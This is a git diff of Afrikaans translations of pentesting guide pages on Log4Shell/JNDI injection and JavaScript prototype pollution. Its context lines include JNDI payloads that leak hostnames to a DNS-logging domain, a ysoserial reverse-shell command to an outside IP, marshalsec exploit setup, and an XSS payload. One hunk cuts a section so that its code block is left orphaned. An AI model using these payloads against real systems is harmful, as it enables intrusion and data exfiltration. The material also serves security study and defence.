-Hierdie kwesbaarheid is 'n kritieke **onbetroubare deserialisering fout** in die `log4j-core` komponent, wat weergawes van 2.0-beta9 tot 2.14.1 beïnvloed. Dit stel **afstands kode uitvoering (RCE)** moontlik, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is deur Chen Zhaojun van die Alibaba Cloud Security Team gerapporteer en beïnvloed verskeie Apache-raamwerke. Die aanvanklike regstelling in weergawe 2.15.0 was onvoltooid. Sigma-reëls vir verdediging is beskikbaar ([Reël 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Reël 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
+Hierdie kwesbaarheid is 'n kritieke **onbetroubare deserialisering fout** in die `log4j-core` komponent, wat weergawes van 2.0-beta9 tot 2.14.1 beïnvloed. Dit stel **afstandkode-uitvoering (RCE)** in staat, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is gerapporteer deur Chen Zhaojun van die Alibaba Cloud Security Team en beïnvloed verskeie Apache-raamwerke. Die aanvanklike regstelling in weergawe 2.15.0 was onvoltooid. Sigma-reëls vir verdediging is beskikbaar ([Reël 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Reël 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
 
 ### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Krities]**
 
-Aanvanklik laag gegradeer maar later opgradeer na krities, is hierdie CVE 'n **Denial of Service (DoS)** fout wat ontstaan uit 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit beïnvloed nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle te veroorsaak deur middel van vervaardigde payloads. 'n [tweet](https://twitter.com/marcioalm/status/1471740771581652995) demonstreer 'n omseilmetode. Die probleem is in weergawe 2.16.0 en 2.12.2 opgelos deur boodskapopsoekpatrone te verwyder en JNDI standaard te deaktiveer.
+Aanvanklik laag gegradeer maar later opgegradeer na krities, is hierdie CVE 'n **Denial of Service (DoS)** fout wat ontstaan uit 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit beïnvloed nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle te veroorsaak deur middel van vervaardigde payloads. 'n [tweet](https://twitter.com/marcioalm/status/1471740771581652995) demonstreer 'n omseilingsmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskapopsoekpatrone te verwyder en JNDI standaard te deaktiveer.
 
 ### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Hoog]**
 
@@ -111,7 +111,7 @@ Hierdie kwesbaarheid beïnvloed die **Logback-lograamwerk**, 'n opvolger van Log
 
 ### **CVE-2021-45105** **\[Hoog]**
 
-Log4j 2.16.0 bevat 'n DoS-fout, wat die vrystelling van `log4j 2.17.0` tot gevolg gehad het om die CVE op te los. Verdere besonderhede is in BleepingComputer se [verslag](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
+Log4j 2.16.0 bevat 'n DoS-fout, wat die vrystelling van `log4j 2.17.0` tot gevolg gehad het om die CVE reg te stel. Verdere besonderhede is in BleepingComputer se [verslag](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
 
 ### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
 
@@ -136,7 +136,7 @@ Let daarop dat **selfs al 'n DNS-versoek ontvang word, dit nie beteken dat die t
 
 #### **Plaaslike Ontdekking**
 
-Soek na **plaaslike kwesbare weergawes** van die biblioteek met:
+Soek na **lokale kwesbare weergawes** van die biblioteek met:
 ```bash
 find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
 ```
@@ -148,8 +148,8 @@ Dit kan baie nuttig wees vir 2 dinge:
 - Om die **kwesbaarheid** te **verifieer**
 - Om **inligting** te **exfiltreer** deur die kwesbaarheid te misbruik
 
-Byvoorbeeld, jy kan iets soos aan vra:\
-of soos `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** en as 'n **DNS-aanvraag ontvang word met die waarde van die omgewing veranderlike**, weet jy die toepassing is kwesbaar.
+Byvoorbeeld, jy kan iets soos:\
+of soos `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** aan vra en as 'n **DNS-aanvraag ontvang word met die waarde van die omgewing veranderlike**, weet jy die toepassing is kwesbaar.
 
 Ander inligting wat jy kan probeer om te **lek**:
 ```
@@ -215,11 +215,11 @@ Any other env variable name that could store sensitive information
 
 Jy kan dit in die **THM boks** toets: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
 
-Gebruik die gereedskap [**marshalsec**](https://github.com/mbechler/marshalsec) (jar weergawe beskikbaar [**hier**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hierdie benadering stel 'n LDAP verwysingsbediener in om verbindings na 'n sekondêre HTTP-bediener te herlei waar die uitbuiting gehoste sal word:
+Gebruik die gereedskap [**marshalsec**](https://github.com/mbechler/marshalsec) (jar weergawe beskikbaar [**hier**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hierdie benadering stel 'n LDAP verwysingsbediener in om verbindings na 'n sekondêre HTTP-bediener te herlei waar die uitbuiting gehos teen sal word:
 ```bash
 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
 ```
-Om die teiken te versoek om 'n omgekeerde shell kode te laai, maak 'n Java-lêer genaamd `Exploit.java` met die inhoud hieronder:
+Om die teiken te versoek om 'n omgekeerde shell kode te laai, maak 'n Java-lêer genaamd `Exploit.java` met die onderstaande inhoud:
 ```java
 public class Exploit {
 static {
@@ -237,7 +237,7 @@ Trigger die uitvoering van die eksploit klas op die kwesbare webbediener deur 'n
 ```bash
 ${jndi:ldap://<LDAP_IP>:1389/Exploit}
 ```
-**Nota:** Hierdie exploit hang af van Java se konfigurasie om afstandkodebasis laai via LDAP toe te laat. As dit nie toegelaat word nie, oorweeg dit om 'n vertroude klas te benut vir arbitrêre kode-uitvoering.
+**Let wel:** Hierdie exploit hang af van Java se konfigurasie om afstandkodebasislaai via LDAP toe te laat. As dit nie toegelaat word nie, oorweeg dit om 'n vertroude klas te benut vir arbitrêre kode-uitvoering.
 
 ### RCE - **JNDIExploit**
 
@@ -292,13 +292,7 @@ _Hierdie aanval met 'n op maat gegenereerde java-objek sal werk in laboratoriums
 
 ### RCE - JNDI-Injection-Exploit-Plus
 
-[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is 'n ander hulpmiddel om **werkbare JNDI skakels** te genereer en agtergronddienste te bied deur RMI-bediener, LDAP-bediener en HTTP-bediener te begin.\
-
-### RCE - ysoserial & JNDI-Exploit-Kit
-
-Hierdie opsie is regtig nuttig om **Java weergawes aan te val wat slegs spesifieke klasse vertrou en nie almal nie**. Daarom sal **ysoserial** gebruik word om **serialisasies van vertroude klasse** te genereer wat as gadgets gebruik kan word om **arbitrêre kode** uit te voer (_die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer se java-program gebruik word sodat die ontploffing kan werk_).
-
-Met **ysoserial** of [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kan jy die deserialisasie-ontploffing skep wat deur JNDI afgelaai sal word:
+[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is 'n ander hulpmiddel om **werkbare JNDI skakels** te genereer
 ```bash
 # Rev shell via CommonsCollections5
 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
@@ -347,7 +341,7 @@ In hierdie [**CTF skrywe**](https://intrigus.org/research/2022/07/18/google-ctf-
 
 Die [**veiligheidsbladsy**](https://logging.apache.org/log4j/2.x/security.html) van Log4j het 'n paar interessante sinne:
 
-> Vanaf weergawe 2.16.0 (vir Java 8), is die **boodskap soekfunksie heeltemal verwyder**. **Soek in konfigurasie werk steeds**. Verder deaktiveer Log4j nou toegang tot JNDI standaard. JNDI soektogte in konfigurasie moet nou eksplisiet geaktiveer word.
+> Vanaf weergawe 2.16.0 (vir Java 8), is die **boodskap soekfunksie heeltemal verwyder**. **Soek in konfigurasie werk steeds**. Verder, Log4j deaktiveer nou toegang tot JNDI standaard. JNDI soektogte in konfigurasie moet nou eksplisiet geaktiveer word.
 
 > Vanaf weergawe 2.17.0, (en 2.12.3 en 2.3.1 vir Java 7 en Java 6), **word slegs soekstringe in konfigurasie rekursief uitgebrei**; in enige ander gebruik, word slegs die boonste vlak soektog opgelos, en enige geneste soektogte word nie opgelos nie.
 
@@ -363,7 +357,7 @@ Byvoorbeeld, in daardie CTF was dit in die lêer log4j2.xml geconfigureer:
 ### Omgewingsoek
 
 In [hierdie CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) het die aanvaller die waarde van `${sys:cmd}` beheer en moes die vlag uit 'n omgewingsveranderlike onttrek.\
-Soos gesien op hierdie bladsy in [**vorige payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) is daar verskillende maniere om omgewingveranderlikes te benader, soos: **`${env:FLAG}`**. In hierdie CTF was dit nutteloos, maar dit mag nie in ander werklike scenario's wees nie.
+Soos gesien op hierdie bladsy in [**vorige payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) is daar verskillende maniere om omgewingsveranderlikes te benader, soos: **`${env:FLAG}`**. In hierdie CTF was dit nutteloos, maar dit mag nie in ander werklike scenario's wees nie.
 
 ### Onttrekking in Uitsonderings
 
@@ -373,11 +367,11 @@ In die CTF kon jy **nie die stderr** van die java-toepassing met log4J toegang n
 
 ### Omsettingspatrone Uitsonderings
 
-Net om dit te noem, jy kon ook nuwe [**omsettingspatrone**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) inspuit en uitsonderings aktiveer wat na `stdout` gelog word. Byvoorbeeld:
+Net om dit te noem, jy kon ook nuwe [**omsettingspatrone**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) inspuit en uitsonderings aktiveer wat na `stdout` gelog sal word. Byvoorbeeld:
 
 ![](<../../images/image (683).png>)
 
-Dit is nie nuttig gevind om data binne die foutboodskap te onttrek nie, omdat die soektog nie opgelos is voor die omsettingspatroon nie, maar dit kan nuttig wees vir ander dinge soos opsporing.
+Dit is nie nuttig gevind om data binne die foutboodskap te onttrek nie, omdat die soektog nie voor die omsettingspatroon opgelos is nie, maar dit kan nuttig wees vir ander dinge soos opsporing.
 
 ### Omsettingspatrone Regexes
 
@@ -386,16 +380,16 @@ Dit is egter moontlik om sommige **omsettingspatrone wat regexes ondersteun** te
 - **Binaire soektog via uitsonderingsboodskappe**
 
 Die omsettingspatroon **`%replace`** kan gebruik word om **inhoud** van 'n **string** te **vervang**, selfs met **regexes**. Dit werk soos volg: `replace{pattern}{regex}{substitution}`\
-Deur hierdie gedrag te misbruik, kan jy maak dat vervang **'n uitsondering aktiveer as die regex enige iets binne die string ooreenstem** (en geen uitsondering as dit nie gevind is nie) soos volg:
+Deur hierdie gedrag te misbruik, kan jy vervang **'n uitsondering aktiveer as die regex enige iets binne die string ooreenstem** (en geen uitsondering as dit nie gevind is nie) soos volg:
 ```bash
 %replace{${env:FLAG}}{^CTF.*}{${error}}
 # The string searched is the env FLAG, the regex searched is ^CTF.*
 ## and ONLY if it's found ${error} will be resolved with will trigger an exception
 ```
-- **Tyd-gebaseerd**
+- **Tyd-gebaseer**
 
-Soos in die vorige afdeling genoem, ondersteun **`%replace`** **regexes**. Dit is dus moontlik om 'n payload van die [**ReDoS-bladsy**](../regular-expression-denial-of-service-redos.md) te gebruik om 'n **tyd-oortreding** te veroorsaak indien die vlag gevind word.\
-Byvoorbeeld, 'n payload soos `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` sal 'n **tyd-oortreding** in daardie CTF veroorsaak.
+Soos in die vorige afdeling genoem, ondersteun **`%replace`** **regexes**. Dit is dus moontlik om 'n payload van die [**ReDoS-bladsy**](../regular-expression-denial-of-service-redos.md) te gebruik om 'n **tyd-oorskryding** te veroorsaak indien die vlag gevind word.\
+Byvoorbeeld, 'n payload soos `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` sal 'n **tyd-oorskryding** in daardie CTF veroorsaak.
 
 In hierdie [**skrywe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), in plaas daarvan om 'n ReDoS-aanval te gebruik, is 'n **versterking-aanval** gebruik om 'n tydverskil in die antwoord te veroorsaak:
 
@@ -414,12 +408,11 @@ In hierdie [**skrywe**](https://intrigus.org/research/2022/07/18/google-ctf-2022
 > }{#}{######################################################}
 > }{#}{######################################################}
 > }{#}{######################################################}
-> }{#}{######################################################}
 > ```
 >
-> As die vlag begin met `flagGuess`, word die hele vlag vervang met 29 `#`-s (Ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). **Elk van die resulterende 29 `#`-s word dan vervang deur 54 `#`-s**. Hierdie proses word **6 keer** herhaal, wat lei tot 'n totaal van ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
+> As die vlag begin met `flagGuess`, word die hele vlag vervang met 29 `#`-s (Ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). **Elke van die resulterende 29 `#`-s word dan vervang deur 54 `#`-s**. Hierdie proses word **6 keer** herhaal, wat lei tot 'n totaal van ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
 >
-> Om soveel `#`-s te vervang sal die 10-sekonde tyd-oortreding van die Flask-toepassing aktiveer, wat op sy beurt sal lei tot die HTTP-statuskode 500 wat aan die gebruiker gestuur word. (As die vlag nie met `flagGuess` begin nie, sal ons 'n nie-500 statuskode ontvang)
+> Om soveel `#`-s te vervang sal die 10-sekonde tyd-oorskryding van die Flask-toepassing aktiveer, wat op sy beurt sal lei tot die HTTP-statuskode 500 wat aan die gebruiker gestuur word. (As die vlag nie met `flagGuess` begin nie, sal ons 'n nie-500 statuskode ontvang)
 
 ## Verwysings
 

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md

@@ -37,17 +37,17 @@ JavaScript laat die wijziging, toevoeging of verwydering van prototipe-attribuut
 
 Funksies soos `toString` en `valueOf` kan verander word om hul gedrag te verander, wat die aanpasbare aard van JavaScript se prototipesisteem demonstreer.
 
-## Erfenis
+## Inheritance
 
 In prototipe-gebaseerde programmering word eienskappe/metodes geërf deur voorwerpe van klasse. Hierdie klasse word geskep deur eienskappe/metodes by 'n instansie van 'n ander klas of by 'n leë voorwerp te voeg.
 
 Daar moet op gelet word dat wanneer 'n eienskap by 'n voorwerp gevoeg word wat as die prototipe vir ander voorwerpe dien (soos `myPersonObj`), die geërfde voorwerpe toegang tot hierdie nuwe eienskap verkry. Hierdie eienskap word egter nie outomaties vertoon nie, tensy dit eksplisiet aangeroep word.
 
-## \_\_proto\_\_ besoedeling <a href="#id-0d0a" id="id-0d0a"></a>
+## \_\_proto\_\_ pollution <a href="#id-0d0a" id="id-0d0a"></a>
 
-## Verkenning van Prototipe Besoedeling in JavaScript
+## Exploring Prototype Pollution in JavaScript
 
-JavaScript voorwerpe word gedefinieer deur sleutel-waarde pare en erf van die JavaScript Object prototipe. Dit beteken dat die verandering van die Object prototipe alle voorwerpe in die omgewing kan beïnvloed.
+JavaScript voorwerpe word gedefinieer deur sleutel-waarde pare en erf van die JavaScript Object prototipe. Dit beteken dat die wijziging van die Object prototipe alle voorwerpe in die omgewing kan beïnvloed.
 
 Kom ons gebruik 'n ander voorbeeld om dit te illustreer:
 ```javascript
@@ -76,7 +76,7 @@ car1.announce() // Outputs "Beep beep!"
 car1.__proto__.__proto__.isVehicle = true
 console.log(car1.isVehicle) // Outputs true
 ```
-## prototype besoedeling
+## prototype pollution
 
 Vir 'n scenario waar `__proto__` gebruik beperk is, is die aanpassing van 'n funksie se prototipe 'n alternatief:
 ```javascript
@@ -98,9 +98,9 @@ console.log("Honk!")
 }
 car1.constructor.prototype.isElectric = true
 ```
-Dit raak slegs voorwerpe wat van die `Vehicle` konstruktors geskep is, en gee hulle die `beep`, `hasWheels`, `honk`, en `isElectric` eienskappe.
+Dit beïnvloed slegs voorwerpe wat van die `Vehicle` konstruktors geskep is, en gee hulle die `beep`, `hasWheels`, `honk`, en `isElectric` eienskappe.
 
-Twee metodes om JavaScript voorwerpe globaal te beïnvloed deur middel van prototipe besoedeling sluit in:
+Twee metodes om JavaScript voorwerpe globaal te beïnvloed deur prototype besoedeling sluit in:
 
 1. Besoedeling van die `Object.prototype` direk:
 ```javascript
@@ -121,7 +121,7 @@ Na hierdie operasies kan elke JavaScript-objek `goodbye` en `greet` metodes uitv
 
 ### Van 'n klas na Object.prototype
 
-In 'n scenario waar jy **'n spesifieke objek kan besmet** en jy moet **by `Object.prototype` kom**, kan jy daarna soek met iets soos die volgende kode:
+In 'n scenario waar jy 'n **spesifieke objek kan besmet** en jy moet **by `Object.prototype` kom**, kan jy daarna soek met iets soos die volgende kode:
 ```javascript
 // From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
 
@@ -142,9 +142,9 @@ console.log(key1 + "." + key2)
 }
 }
 ```
-### Array element besoedeling
+### Array elements pollution
 
-Let daarop dat jy, soos jy eienskappe van voorwerpe in JS kan besoedel, as jy toegang het om 'n array te besoedel, jy ook **waardes van die array** wat **deur indekse** toeganklik is, kan **besoedel** (let daarop dat jy nie waardes kan oorskryf nie, so jy moet indekse besoedel wat op een of ander manier gebruik word maar nie geskryf word nie).
+Let daarop dat soos jy die eienskappe van voorwerpe in JS kan besoedel, as jy toegang het om 'n array te besoedel, kan jy ook **waardes van die array** besoedel wat **deur indekse** toeganklik is (let daarop dat jy nie waardes kan oorskryf nie, so jy moet indekse besoedel wat op een of ander manier gebruik word maar nie geskryf word nie).
 ```javascript
 c = [1, 2]
 a = []
@@ -156,7 +156,7 @@ c[1] // 2 -- not
 ```
 ### Html element besoedeling
 
-Wanneer 'n HTML-element via JS gegenereer word, is dit moontlik om die **`innerHTML`** attribuut te **oorwrite** om dit in staat te stel om **arbitraire HTML-kode** te skryf. [Idea en voorbeeld van hierdie skrywe](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
+Wanneer 'n HTML-element via JS gegenereer word, is dit moontlik om die **`innerHTML`** attribuut te **oorwrite** om dit in staat te stel om **arbitraire HTML-kode** te skryf. [Idee en voorbeeld van hierdie skrywe](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
 ```javascript
 // Create element
 devSettings["root"] = document.createElement('main')
@@ -171,9 +171,9 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
 
 ### Basiese Voorbeeld
 
-'n Prototype besoedeling gebeur weens 'n fout in die toepassing wat die oorskryding van eienskappe op `Object.prototype` toelaat. Dit beteken dat aangesien die meeste voorwerpe hul eienskappe van `Object.prototype` aflei
+'n Prototype besoedeling gebeur weens 'n fout in die toepassing wat die oorskrywing van eienskappe op `Object.prototype` toelaat. Dit beteken dat aangesien die meeste voorwerpe hul eienskappe van `Object.prototype` aflei
 
-Die maklikste voorbeeld is om 'n waarde by 'n **onbepaalde eienskap van 'n voorwerp** te voeg wat gaan nagegaan word, soos:
+Die maklikste voorbeeld is om 'n waarde by 'n **onbepaalde attribuut van 'n voorwerp** te voeg wat gaan nagegaan word, soos:
 ```javascript
 if (user.admin) {
 ```
@@ -183,13 +183,13 @@ Object.prototype.isAdmin = true
 let user = {}
 user.isAdmin // true
 ```
-Die meganisme agter hierdie behels die manipulasie van eienskappe sodat, as 'n aanvaller beheer het oor sekere insette, hulle die prototipe van alle voorwerpe in die aansoek kan wysig. Hierdie manipulasie behels tipies die instelling van die `__proto__` eienskap, wat, in JavaScript, sinoniem is met die direkte wysiging van 'n voorwerp se prototipe.
+Die meganisme agter hierdie behels die manipulasie van eienskappe sodat, indien 'n aanvaller beheer het oor sekere insette, hulle die prototipe van alle voorwerpe in die aansoek kan wysig. Hierdie manipulasie behels tipies die instelling van die `__proto__` eienskap, wat, in JavaScript, sinoniem is met die direkte wysiging van 'n voorwerp se prototipe.
 
 Die voorwaardes waaronder hierdie aanval suksesvol uitgevoer kan word, soos uiteengesit in 'n spesifieke [studie](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), sluit in:
 
 - Om 'n rekursiewe samesmelting uit te voer.
-- Om eienskappe op grond van 'n pad te definieer.
-- Om voorwerpe te kloon.
+- Eienskappe te definieer op grond van 'n pad.
+- Voorwerpe te kloon.
 
 ### Oorskry-funksie
 ```python
@@ -218,22 +218,22 @@ client-side-prototype-pollution.md
 $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
 console.log({}.devMode) // Outputs: true
 ```
-Hierdie kwesbaarheid, geïdentifiseer as CVE-2019–11358, illustreer hoe 'n diep kopie per ongeluk die prototipe kan verander, wat kan lei tot potensiële sekuriteitsrisiko's, soos ongeoorloofde admin toegang as eienskappe soos `isAdmin` nagegaan word sonder behoorlike bestaan verifikasie.
+Hierdie kwesbaarheid, geïdentifiseer as CVE-2019–11358, illustreer hoe 'n diep kopie per ongeluk die prototipe kan verander, wat kan lei tot potensiële sekuriteitsrisiko's, soos ongeoorloofde admin-toegang as eienskappe soos `isAdmin` nagegaan word sonder behoorlike bestaansertifikasie.
 
 ### CVE-2018–3721, CVE-2019–10744: Prototipe besoedeling aanval deur lodash
 
 [Vir verdere besonderhede, kyk hierdie artikel](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
 
-[Lodash](https://www.npmjs.com/package/lodash) het soortgelyke prototipe besoedeling kwesbaarhede ondervind (CVE-2018–3721, CVE-2019–10744). Hierdie probleme is in weergawe 4.17.11 aangespreek.
+[Lodash](https://www.npmjs.com/package/lodash) het soortgelyke prototipe besoedeling kwesbaarhede (CVE-2018–3721, CVE-2019–10744) ondervind. Hierdie probleme is in weergawe 4.17.11 aangespreek.
 
-### Nog 'n tutoriaal met CVEs
+### Nog 'n tutoriaal met CVE's
 
 {% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
 
-### Gereedskap om Prototipe Besoedeling te Detecteer
+### Gereedskap om Prototipe Besoedeling te ontdek
 
-- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite uitbreiding ontwerp om server-kant prototipe besoedeling kwesbaarhede in webtoepassings te detecteer en te analiseer. Hierdie hulpmiddel outomatiseer die proses van skandering van versoeke om potensiële prototipe besoedeling probleme te identifiseer. Dit benut bekende gadgets - metodes om prototipe besoedeling te benut om skadelike aksies uit te voer - met spesifieke fokus op Node.js biblioteke.
-- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Hierdie uitbreiding identifiseer server kant prototipe besoedeling kwesbaarhede. Dit gebruik tegnieke wat beskryf word in die [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
+- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Burp Suite uitbreiding ontwerp om server-kant prototipe besoedeling kwesbaarhede in webtoepassings te ontdek en te analiseer. Hierdie hulpmiddel outomatiseer die proses van skandering van versoeke om potensiële prototipe besoedeling probleme te identifiseer. Dit benut bekende gadgets - metodes om prototipe besoedeling te benut om skadelike aksies uit te voer - met spesifieke fokus op Node.js biblioteke.
+- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Hierdie uitbreiding identifiseer server-kant prototipe besoedeling kwesbaarhede. Dit gebruik tegnieke wat beskryf word in die [server side prototype pollution](https://portswigger.net/research/server-side-prototype-pollution).
 
 ### AST Prototipe Besoedeling in NodeJS
 
@@ -281,11 +281,11 @@ console.log(eval("(" + template + ")")["main"].toString())
 ```
 Hierdie kode demonstreer hoe 'n aanvaller arbitrêre kode in 'n Handlebars-sjabloon kan inspuit.
 
-**Buitelandse Verwysing**: 'n Probleem rakende prototipe besoedeling is in die 'flat' biblioteek gevind, soos hier gedetailleerd: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
+**Buite Verwysing**: 'n Probleem rakende prototipe besoedeling is in die 'flat' biblioteek gevind, soos hier beskryf: [Issue on GitHub](https://github.com/hughsk/flat/issues/105).
 
-**Buitelandse Verwysing**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
+**Buite Verwysing**: [Issue related to prototype pollution in the 'flat' library](https://github.com/hughsk/flat/issues/105)
 
-Voorbeeld van prototipe besoedeling uitbuiting in Python:
+Voorbeeld van prototipe besoedeling eksploit in Python:
 ```python
 import requests
 
@@ -334,19 +334,19 @@ requests.get(TARGET_URL)
 ```
 ### Voorkomingsmaatreëls
 
-Om die risiko van prototipe besoedeling te verminder, kan die onderstaande strategieë toegepas word:
+Om die risiko van prototipebesoedeling te verminder, kan die onderstaande strategieë toegepas word:
 
 1. **Objek Immutabiliteit**: Die `Object.prototype` kan onwrikbaar gemaak word deur `Object.freeze` toe te pas.
 2. **Invoer Validasie**: JSON-invoere moet streng gevalideer word teen die aansoek se skema.
-3. **Veilige Samevoeg Funksies**: Die onveilige gebruik van rekursiewe samevoeg funksies moet vermy word.
+3. **Veilige Samevoegfunksies**: Die onveilige gebruik van rekursiewe samevoegfunksies moet vermy word.
 4. **Prototipe-loos Objekte**: Objekte sonder prototipe eienskappe kan geskep word met `Object.create(null)`.
 5. **Gebruik van Map**: In plaas van `Object`, moet `Map` gebruik word om sleutel-waarde pare te stoor.
 6. **Biblioteek Opdaterings**: Sekuriteitsopdaterings kan ingesluit word deur gereeld biblioteke op te dateer.
-7. **Linter en Statiese Analise Gereedskap**: Gebruik gereedskap soos ESLint met toepaslike plugins om prototipe besoedeling kwesbaarhede te ontdek en te voorkom.
-8. **Kode Hersienings**: Implementeer deeglike kode hersienings om potensiële risiko's rakende prototipe besoedeling te identifiseer en te verhelp.
-9. **Sekuriteitsopleiding**: Onderwys ontwikkelaars oor die risiko's van prototipe besoedeling en beste praktyke vir die skryf van veilige kode.
-10. **Gebruik van Biblioteke met Versigtigheid**: Wees versigtig wanneer jy derdeparty biblioteke gebruik. Evalueer hul sekuriteitsposisie en hersien hul kode, veral dié wat objekte manipuleer.
-11. **Runtime Beskerming**: Gebruik runtime beskermingsmeganismes soos om sekuriteitsgefokusde npm-pakkette te gebruik wat prototipe besoedeling aanvalle kan ontdek en voorkom.
+7. **Linter en Statiese Analise Gereedskap**: Gebruik gereedskap soos ESLint met toepaslike plugins om prototipebesoedeling kwesbaarhede te ontdek en te voorkom.
+8. **Kode Hersienings**: Implementeer deeglike kode hersienings om potensiële risiko's rakende prototipebesoedeling te identifiseer en te verhelp.
+9. **Sekuriteitsopleiding**: Onderwys ontwikkelaars oor die risiko's van prototipebesoedeling en beste praktyke vir die skryf van veilige kode.
+10. **Gebruik van Biblioteke met Versigtigheid**: Wees versigtig wanneer jy derdeparty-biblioteke gebruik. Evalueer hul sekuriteitsposisie en hersien hul kode, veral dié wat objekte manipuleer.
+11. **Runtime Beskerming**: Gebruik runtime beskermingsmeganismes soos om sekuriteitsgefokusde npm-pakkette te gebruik wat prototipebesoedeling aanvalle kan ontdek en voorkom.
 
 ## Verwysings
 

src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md

@@ -6,7 +6,7 @@
 
 Die gereedskap [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **en** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) kan gebruik word om **prototipe besoedeling kwesbaarhede** te **vind**.
 
-Boonop kan jy ook die **blaaier uitbreiding** [**PPScan**](https://github.com/msrkp/PPScan) gebruik om **outomaties** die **bladsye** wat jy **toegang** het te **skandeer** vir prototipe besoedeling kwesbaarhede.
+Boonop kan jy ook die **blaaier uitbreiding** [**PPScan**](https://github.com/msrkp/PPScan) gebruik om **outomaties** die **bladsye** wat jy **toegang** het tot prototipe besoedeling kwesbaarhede te **skandeer**.
 
 ### Foutopsporing waar 'n eienskap gebruik word <a href="#id-5530" id="id-5530"></a>
 ```javascript
@@ -19,9 +19,9 @@ return "test"
 },
 })
 ```
-### Vind die oorsaak van Prototype Besoedeling <a href="#id-5530" id="id-5530"></a>
+### Vind die oorsaak van Prototype Pollution <a href="#id-5530" id="id-5530"></a>
 
-Sodra 'n prototype besoedelingskwesbaarheid deur enige van die gereedskap geïdentifiseer is, en as die kode nie oormatig kompleks is nie, kan jy die kwesbaarheid vind deur te soek na sleutelwoorde soos `location.hash`, `decodeURIComponent`, of `location.search` in die Chrome Ontwikkelaar Gereedskap. Hierdie benadering stel jou in staat om die kwesbare gedeelte van die JavaScript-kode te lokaliseer.
